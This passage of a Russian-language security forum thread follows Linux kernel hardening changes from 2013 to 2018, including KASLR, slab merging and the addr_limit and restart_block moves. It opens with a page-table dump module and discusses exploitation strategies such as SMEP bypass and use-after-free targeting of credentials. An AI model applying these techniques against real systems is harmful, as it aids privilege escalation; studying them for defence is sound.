        { VMALLOC_START,        "vmalloc() Area" },
        { VMEMMAP_START,        "Vmemmap" },
        { __START_KERNEL_map,  "High Kernel Mapping" },
        { MODULES_VADDR,        "Modules" },
        { MODULES_END,          "End Modules" },
#else
        { PAGE_OFFSET,          "Kernel Mapping" },
        { 0/* VMALLOC_START */, "vmalloc() Area" },
        { 0/*VMALLOC_END*/,    "vmalloc() End" },
# ifdef CONFIG_HIGHMEM
        { 0/*PKMAP_BASE*/,      "Persisent kmap() Area" },
# endif
        { 0/*FIXADDR_START*/,  "Fixmap Area" },
#endif
        { -1, NULL }            /* End of list */
};

/* Multipliers for offsets within the PTEs */
#define PTE_LEVEL_MULT (PAGE_SIZE)
#define PMD_LEVEL_MULT (PTRS_PER_PTE * PTE_LEVEL_MULT)
#define PUD_LEVEL_MULT (PTRS_PER_PMD * PMD_LEVEL_MULT)
#define PGD_LEVEL_MULT (PTRS_PER_PUD * PUD_LEVEL_MULT)

static unsigned long pg_start = 0;
module_param_named(start, pg_start, ulong, 0644);
MODULE_PARM_DESC(start, "Address of "
#ifdef CONFIG_X86_64
                                "init_level4_pgt"
#else
                                "swapper_pg_dir"
#endif
                        " in the kernel");


/*
 * Print a readable form of a pgprot_t to the seq_file
 */
static void printk_prot(struct seq_file *m, pgprot_t prot, int level)
{
        pgprotval_t pr = pgprot_val(prot);
        static const char * const level_name[] =
                { "cr3", "pgd", "pud", "pmd", "pte" };

        if (!pgprot_val(prot)) {
                /* Not present */
                seq_printf(m, "                          ");
        } else {
                if (pr & _PAGE_USER)
                        seq_printf(m, "USR ");
                else
                        seq_printf(m, "    ");
                if (pr & _PAGE_RW)
                        seq_printf(m, "RW ");
                else
                        seq_printf(m, "ro ");
                if (pr & _PAGE_PWT)
                        seq_printf(m, "PWT ");
                else
                        seq_printf(m, "    ");
                if (pr & _PAGE_PCD)
                        seq_printf(m, "PCD ");
                else
                        seq_printf(m, "    ");

                /* Bit 9 has a different meaning on level 3 vs 4 */
                if (level <= 3) {
                        if (pr & _PAGE_PSE)
                                seq_printf(m, "PSE ");
                        else
                                seq_printf(m, "    ");
                } else {
                        if (pr & _PAGE_PAT)
                                seq_printf(m, "pat ");
                        else
                                seq_printf(m, "    ");
                }
                if (pr & _PAGE_GLOBAL)
                        seq_printf(m, "GLB ");
                else
                        seq_printf(m, "    ");
                if (pr & _PAGE_NX)
                        seq_printf(m, "NX ");
                else
                        seq_printf(m, "x  ");
        }
        seq_printf(m, "%s\n", level_name[level]);
}

/*
 * On 64 bits, sign-extend the 48 bit address to 64 bit
 */
static unsigned long normalize_addr(unsigned long u)
{
#ifdef CONFIG_X86_64
        return (signed long)(u << 16) >> 16;
#else
        return u;
#endif
}

/*
 * This function gets called on a break in a continuous series
 * of PTE entries; the next one is different so we need to
 * print what we collected so far.
 */
static void note_page(struct seq_file *m, struct pg_state *st,
                      pgprot_t new_prot, int level)
{
        pgprotval_t prot, cur;
        static const char units[] = "KMGTPE";

        /*
        * If we have a "break" in the series, we need to flush the state that
        * we have now. "break" is either changing perms, levels or
        * address space marker.
        */
        prot = pgprot_val(new_prot) & PTE_FLAGS_MASK;
        cur = pgprot_val(st->current_prot) & PTE_FLAGS_MASK;

        if (!st->level) {
                /* First entry */
                st->current_prot = new_prot;
                st->level = level;
                st->marker = address_markers;
                seq_printf(m, "---[ %s ]---\n", st->marker->name);
        } else if (prot != cur || level != st->level ||
                  st->current_address >= st->marker[1].start_address) {
                const char *unit = units;
                unsigned long delta;
                int width = sizeof(unsigned long) * 2;

                /*
                * Now print the actual finished series
                */
                seq_printf(m, "0x%0*lx-0x%0*lx  ",
                          width, st->start_address,
                          width, st->current_address);

                delta = (st->current_address - st->start_address) >> 10;
                while (!(delta & 1023) && unit[1]) {
                        delta >>= 10;
                        unit++;
                }
                seq_printf(m, "%9lu%c ", delta, *unit);
                printk_prot(m, st->current_prot, st->level);

                /*
                * We print markers for special areas of address space,
                * such as the start of vmalloc space etc.
                * This helps in the interpretation.
                */
                if (st->current_address >= st->marker[1].start_address) {
                        st->marker++;
                        seq_printf(m, "---[ %s ]---\n", st->marker->name);
                }

                st->start_address = st->current_address;
                st->current_prot = new_prot;
                st->level = level;
        }
}

static void walk_pte_level(struct seq_file *m, struct pg_state *st, pmd_t addr,
                                                        unsigned long P)
{
        int i;
        pte_t *start;

        start = (pte_t *) pmd_page_vaddr(addr);
        for (i = 0; i < PTRS_PER_PTE; i++) {
                pgprot_t prot = pte_pgprot(*start);

                st->current_address = normalize_addr(P + i * PTE_LEVEL_MULT);
                note_page(m, st, prot, 4);
                start++;
        }
}

#if PTRS_PER_PMD > 1

static void walk_pmd_level(struct seq_file *m, struct pg_state *st, pud_t addr,
                                                        unsigned long P)
{
        int i;
        pmd_t *start;

        start = (pmd_t *) pud_page_vaddr(addr);
        for (i = 0; i < PTRS_PER_PMD; i++) {
                st->current_address = normalize_addr(P + i * PMD_LEVEL_MULT);
                if (!pmd_none(*start)) {
                        pgprotval_t prot = pmd_val(*start) & PTE_FLAGS_MASK;

                        if (pmd_large(*start) || !pmd_present(*start))
                                note_page(m, st, __pgprot(prot), 3);
                        else
                                walk_pte_level(m, st, *start,
                                              P + i * PMD_LEVEL_MULT);
                } else
                        note_page(m, st, __pgprot(0), 3);
                start++;
        }
}

#else
#define walk_pmd_level(m,s,a,p) walk_pte_level(m,s,__pmd(pud_val(a)),p)
#define pud_large(a) pmd_large(__pmd(pud_val(a)))
#define pud_none(a)  pmd_none(__pmd(pud_val(a)))
#endif

#if PTRS_PER_PUD > 1

static void walk_pud_level(struct seq_file *m, struct pg_state *st, pgd_t addr,
                                                        unsigned long P)
{
        int i;
        pud_t *start;

        start = (pud_t *) pgd_page_vaddr(addr);

        for (i = 0; i < PTRS_PER_PUD; i++) {
                st->current_address = normalize_addr(P + i * PUD_LEVEL_MULT);
                if (!pud_none(*start)) {
                        pgprotval_t prot = pud_val(*start) & PTE_FLAGS_MASK;

                        if (pud_large(*start) || !pud_present(*start))
                                note_page(m, st, __pgprot(prot), 2);
                        else
                                walk_pmd_level(m, st, *start,
                                              P + i * PUD_LEVEL_MULT);
                } else
                        note_page(m, st, __pgprot(0), 2);

                start++;
        }
}

#else
#define walk_pud_level(m,s,a,p) walk_pmd_level(m,s,__pud(pgd_val(a)),p)
#define pgd_large(a) pud_large(__pud(pgd_val(a)))
#define pgd_none(a)  pud_none(__pud(pgd_val(a)))
#endif

static void walk_pgd_level(struct seq_file *m)
{
/*
#ifdef CONFIG_X86_64
        pgd_t *start = (pgd_t *) &init_level4_pgt;
#else
        pgd_t *start = swapper_pg_dir;
#endif
*/
        pgd_t *start = (pgd_t *) pg_start;
        int i;
        struct pg_state st;

        if (!start)
                return;
        memset(&st, 0, sizeof(st));

        for (i = 0; i < PTRS_PER_PGD; i++) {
                st.current_address = normalize_addr(i * PGD_LEVEL_MULT);
                if (!pgd_none(*start)) {
                        pgprotval_t prot = pgd_val(*start) & PTE_FLAGS_MASK;

                        if (pgd_large(*start) || !pgd_present(*start))
                                note_page(m, &st, __pgprot(prot), 1);
                        else
                                walk_pud_level(m, &st, *start,
                                              i * PGD_LEVEL_MULT);
                } else
                        note_page(m, &st, __pgprot(0), 1);

                start++;
        }

        /* Flush out the last page */
        st.current_address = normalize_addr(PTRS_PER_PGD*PGD_LEVEL_MULT);
        note_page(m, &st, __pgprot(0), 0);
}

static int ptdump_show(struct seq_file *m, void *v)
{
        walk_pgd_level(m);
        return 0;
}

static int ptdump_open(struct inode *inode, struct file *filp)
{
        return single_open(filp, ptdump_show, NULL);
}

static struct dentry *pe = NULL;

static const struct file_operations ptdump_fops = {
        .open          = ptdump_open,
        .read          = seq_read,
        .llseek        = seq_lseek,
        .release        = single_release,
};

static int __init pt_dump_init(void)
{
#ifdef CONFIG_X86_32
        /* Not a compile-time constant on x86-32 */
        address_markers[VMALLOC_START_NR].start_address = VMALLOC_START;
        address_markers[VMALLOC_END_NR].start_address = VMALLOC_END;
# ifdef CONFIG_HIGHMEM
        address_markers[PKMAP_BASE_NR].start_address = PKMAP_BASE;
# endif
        address_markers[FIXADDR_START_NR].start_address = FIXADDR_START;
#endif

        pe = debugfs_create_file("kernel_page_tables", 0600, NULL, NULL,
                                &ptdump_fops);
        if (!pe)
                return -ENOMEM;

        return 0;
}

static void __exit pt_dump_exit(void)
{
        if (pe) {
                debugfs_remove_recursive(pe);
                pe = NULL;
        }
}

module_init(pt_dump_init);
module_exit(pt_dump_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Arjan van de Ven <arjan@linux.intel.com>");
MODULE_DESCRIPTION("Kernel debugging helper that dumps pagetables");

Makefile для него:
Код:

obj-m = dump_pagetables.o

M=$(shell pwd)

all:
        make -C /lib/modules/$(shell uname -r)/build/ M=$(M) modules


SynQ 05.04.2013 11:45

Kees Cook отправил в апстрим патчи для kernel ASLR: http://www.spinics.net/lists/kernel/msg1511828.html
В составе патчей также присутствует реализация read-only IDT :(

SynQ 16.05.2013 10:17

Ну вот, начиная с 3.10 эксплуатация через IDT умерла.

x86: Use a read-only IDT alias on all CPUs
https://git.kernel.org/cgit/linux/ke...0849992fcf1c79

Здесь гит Ubuntu: http://kernel.ubuntu.com/git?p=ubunt...l/jump_label.c

SynQ 14.07.2013 10:28

В 3.11 меняется file_operations, наверно скажется на руткитах, хукающих readdir():
Цитата:

There is a new struct file_operations method:

int (*iterate) (struct file *, struct dir_context *);

Its job is to iterate through the contents of a directory. This method is meant to serve as a replacement for the readdir() method that eliminates persistent race conditions associated with updating the current read position. All internal users have been converted, and the readdir() method has been removed.
http://git.kernel.org/cgit/linux/ker...71110e629bb900

SynQ 18.11.2013 10:58

CSAW2013 CTF write-up про задание с exploitation в ядре:
https://github.com/acama/ctf-writeup...rad%20Oberberg

write-up от автора задания: http://poppopret.org/2013/11/20/csaw...ion-challenge/

SynQ 04.12.2013 09:40

Еще один способ выполнять код в ядре имея права root (на случай отключенных/подписанных модулей ядра) - через сисколл kexec:
http://mjg59.dreamwidth.org/28746.html

SynQ 30.01.2014 10:31

Пока идет революция на Майдане, в ядре тоже революция. Патч Кейса Кука для KASLR приняли в апстрим. Ядерная рандомизация будет в 3.14.
Т.к. она ломает гибернацию и perf, то вероятно дистрибутивы пока не будут включать эту опцию.

http://git.kernel.org/cgit/linux/ker...6f5127828eb79d

suv121 02.02.2014 19:52

а может кто нибудь рассказать про загрузку модулей ядра, когда ядро скомпилировано без поддержки LKM? и можно ли подменять системные вызовы с пользовательского уровня?

SynQ 30.05.2014 11:01

Набор заданий для тех, кто хочет разобраться в устройстве ядра Linux: http://eudyptula-challenge.org/

Обзор: http://lwn.net/Articles/599231/

SynQ 05.06.2014 13:33

Важное изменение в 3.15 на x86_64 - размер ядерного стека приложений увеличен в 2 раза (с 8192 до 16384).

коммит

Код:

+++ b/arch/x86/include/asm/page_64_types.h
@@ -1,7 +1,7 @@
#ifndef _ASM_X86_PAGE_64_DEFS_H
#define _ASM_X86_PAGE_64_DEFS_H
-#define THREAD_SIZE_ORDER 1
+#define THREAD_SIZE_ORDER 2
#define THREAD_SIZE (PAGE_SIZE << THREAD_SIZE_ORDER)
#define CURRENT_MASK (~(THREAD_SIZE - 1))

Соотв-но меняется формула получения адреса thread_info из текущего значений стека (см. саму статью на 1-ой странице темы).

SynQ 16.10.2014 10:44

https://plus.google.com/+MathiasKrau...ts/daRPLr3Di6a

В 3.18 внедрили slab merging в SLAB так же, как это было ранее в SLUB (теперь будет проще эксплуатировать heap overflow и UaF):
Цитата:

The upcoming Linux kernel v3.18 will extend the slab merging feature of the SLUB allocator to the SLAB allocator (see, e.g., https://git.kernel.org/linus/423c929cbb and https://git.kernel.org/linus/12220dea07).

Lets see what that feature does by slightly instrumenting the kernel (the same information is available via sysfs but a printk() is more simple to grep for ;)...

[vanilla]$ git diff -- mm/slub.c
diff --git a/mm/slub.c b/mm/slub.c
index 3e8afcc07a76..650fbef4510c 100644
--- a/mm/slub.c
+++ b/mm/slub.c
@@-3699,6+3699,7 @@ __kmem_cache_alias(const char *name, size_t size, size_t align,
int i;
struct kmem_cache *c;

+ pr_info(">>> %s: merging '%s' into '%s'\n", _func_, name, s->name);
s->refcount++;

/*

This gives us the following:

[vanilla]$ dmesg | grep merging | grep kmalloc
[ 0.013565] >>> __kmem_cache_alias: merging 'pid' into 'kmalloc-128'
[ 0.014213] >>> __kmem_cache_alias: merging 'anon_vma_chain' into 'kmalloc-64'
[ 0.220085] >>> __kmem_cache_alias: merging 'cred_jar' into 'kmalloc-192'
[ 0.220891] >>> __kmem_cache_alias: merging 'task_xstate' into 'kmalloc-512'
[ 0.221653] >>> __kmem_cache_alias: merging 'fs_cache' into 'kmalloc-128'
[ 0.223107] >>> __kmem_cache_alias: merging 'key_jar' into 'kmalloc-256'
[ 0.223828] >>> __kmem_cache_alias: merging 'names_cache' into 'kmalloc-4096'
[ 0.296000] >>> __kmem_cache_alias: merging 'pool_workqueue' into 'kmalloc-256'
[ 0.298417] >>> __kmem_cache_alias: merging 'skbuff_head_cache' into 'kmalloc-256'
[ 0.302642] >>> __kmem_cache_alias: merging 'uid_cache' into 'kmalloc-128'
[ 0.304361] >>> __kmem_cache_alias: merging 'bio_integrity_payload' into 'kmalloc-192'
[ 0.305139] >>> __kmem_cache_alias: merging 'biovec-16' into 'kmalloc-256'
[ 0.305803] >>> __kmem_cache_alias: merging 'biovec-64' into 'kmalloc-1024'
[ 0.306483] >>> __kmem_cache_alias: merging 'biovec-128' into 'kmalloc-2048'
[ 0.307166] >>> __kmem_cache_alias: merging 'biovec-256' into 'kmalloc-4096'
[ 0.307846] >>> __kmem_cache_alias: merging 'bio-0' into 'kmalloc-192'
[ 0.349950] >>> __kmem_cache_alias: merging 'sgpool-8' into 'kmalloc-256'
[ 0.350622] >>> __kmem_cache_alias: merging 'sgpool-16' into 'kmalloc-512'
[ 0.351295] >>> __kmem_cache_alias: merging 'sgpool-32' into 'kmalloc-1024'
[ 0.352003] >>> __kmem_cache_alias: merging 'sgpool-64' into 'kmalloc-2048'
[ 0.352685] >>> __kmem_cache_alias: merging 'sgpool-128' into 'kmalloc-4096'
[ 0.362359] >>> __kmem_cache_alias: merging 'eventpoll_epi' into 'kmalloc-128'
[ 0.379876] >>> __kmem_cache_alias: merging 'request_sock_TCP' into 'kmalloc-256'
[ 0.380644] >>> __kmem_cache_alias: merging 'RAW' into 'kmalloc-1024'
[ 0.381277] >>> __kmem_cache_alias: merging 'PING' into 'kmalloc-1024'
[ 0.382419] >>> __kmem_cache_alias: merging 'ip_dst_cache' into 'kmalloc-192'
[ 0.384757] >>> __kmem_cache_alias: merging 'secpath_cache' into 'kmalloc-64'
[ 0.385472] >>> __kmem_cache_alias: merging 'inet_peer_cache' into 'kmalloc-192'
[ 0.386210] >>> __kmem_cache_alias: merging 'tcp_bind_bucket' into 'kmalloc-64'
[ 0.617272] >>> __kmem_cache_alias: merging 'fasync_cache' into 'kmalloc-64'
[ 0.618706] >>> __kmem_cache_alias: merging 'dnotify_struct' into 'kmalloc-32'
[ 0.620263] >>> __kmem_cache_alias: merging 'fsnotify_mark' into 'kmalloc-128'
[ 0.621750] >>> __kmem_cache_alias: merging 'kiocb' into 'kmalloc-128'
[ 0.706589] >>> __kmem_cache_alias: merging 'virtio_scsi_cmd' into 'kmalloc-192'
[ 0.708232] >>> __kmem_cache_alias: merging 'sd_ext_cdb' into 'kmalloc-32'
[ 0.710648] >>> __kmem_cache_alias: merging 'scsi_sense_cache' into 'kmalloc-128'
[ 0.731169] >>> __kmem_cache_alias: merging 'dm_io' into 'kmalloc-64'
[ 0.734164] >>> __kmem_cache_alias: merging 'io' into 'kmalloc-64'
[ 0.973911] >>> __kmem_cache_alias: merging 'request_sock_TCPv6' into 'kmalloc-256'
[ 0.982847] >>> __kmem_cache_alias: merging 'fib6_nodes' into 'kmalloc-64'

So the slab merging is pretty effective. But looking at what kind of caches get merged with the general purpose caches -- i.e. the kmalloc-* ones -- is kinda scary if you throw kernel bugs into the game. If one assumes some random driver contains a user triggerable use-after-free bug that just has the right size, that bug might be abused to tamper with critical kernel data structures like the process credentials ('cred_jar') or the process' memory mappings ('anon_vma_chain'). The other slab caches are probably "usable" too, e.g. the 'io' slab handles objects containing a function pointer making hijacking the kernel control flow easier.

This exploitation scenario is only possible encouraged by slab merging because the critical objects would be allocated from the same slab as the buggy driver's objects: the general purpose kmalloc slab. So, looking from a security angle, one may not want that slab merging feature. And, in fact, there's a knob to disable it: the kernel command line option "slub_nomerge" (or, starting with https://git.kernel.org/linus/12220dea07 "slab_nomerge"). This option disables the slab merging feature and therefore prevents the above exploitation scenario. It can be seen as a pro-active counter-measure as it enforces the creation of dedicated slabs. The use-after-free bug would still be there, but it couldn't be abused to manipulate the critical kernel objects -- as those would resist reside in a different slab cache.

So, lets have a look at what the PaX/grsecurity project has to say about that topic:

$ git diff v3.17..linux-grsec/v3.17-pax -- mm/slub.c
diff --git a/mm/slub.c b/mm/slub.c
index 3e8afcc07a76..74cd3bf90c8f 100644
--- a/mm/slub.c
+++ b/mm/slub.c
...
@@-2710,7+2718,7 @@ static int slub_min_objects;
* Merge control. If this is set then no merging of slab caches will occur.
* (Could be removed. This was introduced to pacify the merge skeptics.)
*/
-static int slub_nomerge;
+static int slub_nomerge = 1;

/*
* Calculate the order of allocation given an slab object size.


Cache merging disabled by default -- as expected :)

SynQ 27.11.2014 10:12

CSAW CTF 2014 Linux kernel exploitation challenge & solution.
https://github.com/mncoppola/suckerusu

SynQ 17.02.2015 14:32

Цитата:

@grsecurity: 2010: exploits target restart_block field of thread_info / 2015: upstream Linux finally does something about it
Цитата:

all arches, signal: move restart_block to struct task_struct
If an attacker can cause a controlled kernel stack overflow, overwriting the restart block is a very juicy exploit target. This is because the restart_block is held in the same memory allocation as the kernel stack. Moving the restart block to struct task_struct prevents this exploit by making the restart_block harder to locate.
https://git.kernel.org/cgit/linux/ke...b572c2cdbb2a24

SynQ 21.02.2015 12:51

В 3.20 убирают restart_block из struct thread_info, которая находится сразу под стеком ядра в памяти (см. первый пост) и может быть перезаписана при переполнении самого стека. Такая перезапись использовалось пару раз в публичных эксплойтах.

commit: all arches, signal: move restart_block to struct task_struct

Цитата:

If an attacker can cause a controlled kernel stack overflow, overwriting the restart block is a very juicy exploit target. This is because the restart_block is held in the same memory allocation as the kernel stack. Moving the restart block to struct task_struct prevents this exploit by making the restart_block harder to locate. Note that there are other fields in thread_info that are also easy targets, at least on some architectures.
Код:

struct thread_info {
    struct task_struct  *task;
    struct exec_domain  *exec_domain;
    __u32                flags;
    __u32                status;
    __u32                cpu;
    int                  preempt_count;
    mm_segment_t        addr_limit;
    struct restart_block restart_block;
    void __user        *sysenter_return;
#ifdef CONFIG_X86_32
    unsigned long        previous_esp;
    __u8                supervisor_stack[0];
#endif
    int                  uaccess_err;
};


SynQ 18.03.2015 11:21

По следам rowhammer в ядре 4.1 закроют доступ к физическим адресам в /proc/PID/pagemap.
commit

Код:

static int pagemap_open(struct inode *inode, struct file *file)
{
+ /* do not disclose physical addresses: attack vector */
+ if (!capable(CAP_SYS_ADMIN))
+ return -EPERM;


SynQ 05.06.2015 11:13

Не про ядро.
В Ubuntu теперь не будет работать баг в суидниках, когда делают system/popen("some-file") и подкладывание some-file в текущую диру.
https://bugs.launchpad.net/ubuntu/+s...660/comments/6

SynQ 17.11.2015 12:37

CSAW CTF 2015 Kernel Exploitation Challenge
http://poppopret.org/2015/11/16/csaw...ion-challenge/
http://itszn.com/blog/?p=21

SynQ 07.03.2016 12:38

Недавно был интересный пост про обход kASLR через наблюдение за временем выполнения процессорной инструкции prefetch.
Теперь же подоспел PoC для линукса:
http://dreamsofastone.blogspot.ru/20...hitecture.html
https://github.com/xairy/kaslr-bypass-via-prefetch

SynQ 14.05.2016 13:10

Цитата:

Artem Shishkin @honorary_bot
CR4.UMIP (User-Mode Instruction Prevention) for KASLR, nice
https://pbs.twimg.com/media/Chos1wPUYAEWNeU.jpg
Красивый UaF в ядре 4.4-4.5 структуры fd (открываем writable fd, освобождаем его, открываем read-only fd до /etc/crontab и можем писать в него):
https://bugs.chromium.org/p/project-.../detail?id=808

Коммит SLAB freelist randomization:
http://git.kernel.org/cgit/linux/ker...f9996e9675e25f

Цитата:

Сообщение от Kees Cook
As for security features I've been tracking in 4.6:
- KASLR on arm64 (though requires the bootloader to provide entropy)
- Kernel memory protection by default on ARMv7+
- Kernel memory protection by default on arm64
- Kernel memory protection mandatory on x86
- __ro_after_init markings for write-once data

For 4.7, I think it's likely we'll see:
- split of physical/virtual text base address randomization for x86 KASLR
- KASLR on MIPS
- LoadPin LSM to control kernel module and firmware origins

For 4.8, I'm hoping we'll see:
- randomization of base addresses for page tables, vmalloc, and other memory regions for x86 KASLR
- gcc plugin infrastructure
- per-build structure layout randomization


SynQ 07.08.2016 15:45

mm: SLAB freelist randomization в апстриме:
https://git.kernel.org/cgit/linux/ke...da21cee801ec2b

Также в планах перелопатить thread_info (и кое-где вообще ее убрать), самое главное - хотят переместить addr_limit в task_struct. А значит, прощай легкий способ обхода SMEP. Раньше было достаточно любого infoleak с адресом стека ядра и сразу знали адрес, по которому нужно перезаписать addr_limit.
Если закоммитят, нужен будет infoleak по выбранному адресу, т.к. лимит будет в thread_info.task->thread.addr_limit.

[PATCH v4 18/29] x86: Move addr_limit to thread_struct:
https://lkml.org/lkml/2016/6/26/299

PS update - приземлили в 4.9, также в 4.10 для arm64.

SynQ 18.12.2016 12:13

Спасибо rebel за эксплойт для СVE-2016-8655 Linux af_packet.c race condition, теперь хотят закрыть удобный и лежавший на поверхности способ обхода smap.

[RFC 0/4] make call_usermodehelper a bit more "safe"
[RFC 4/4] Introduce CONFIG_READONLY_USERMODEHELPER

SynQ 31.01.2017 10:28

Большая подборка:
https://github.com/idl3r/linux-kernel-exploitation

SynQ 05.01.2018 10:14

Побочный эффект meltdown и specter - во всех ядрах с активированной KPTI (Kernel Page Table Isolation CONFIG_PAGE_TABLE_ISOLATION) теперь будет SMEP, даже если процессор не поддерживает ее.
https://outflux.net/blog/archives/20...lation-in-pti/

И похоже скоро вообще перестанут мапить userspace, когда работает ядро.


Часовой пояс GMT +3, время: 01:39.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot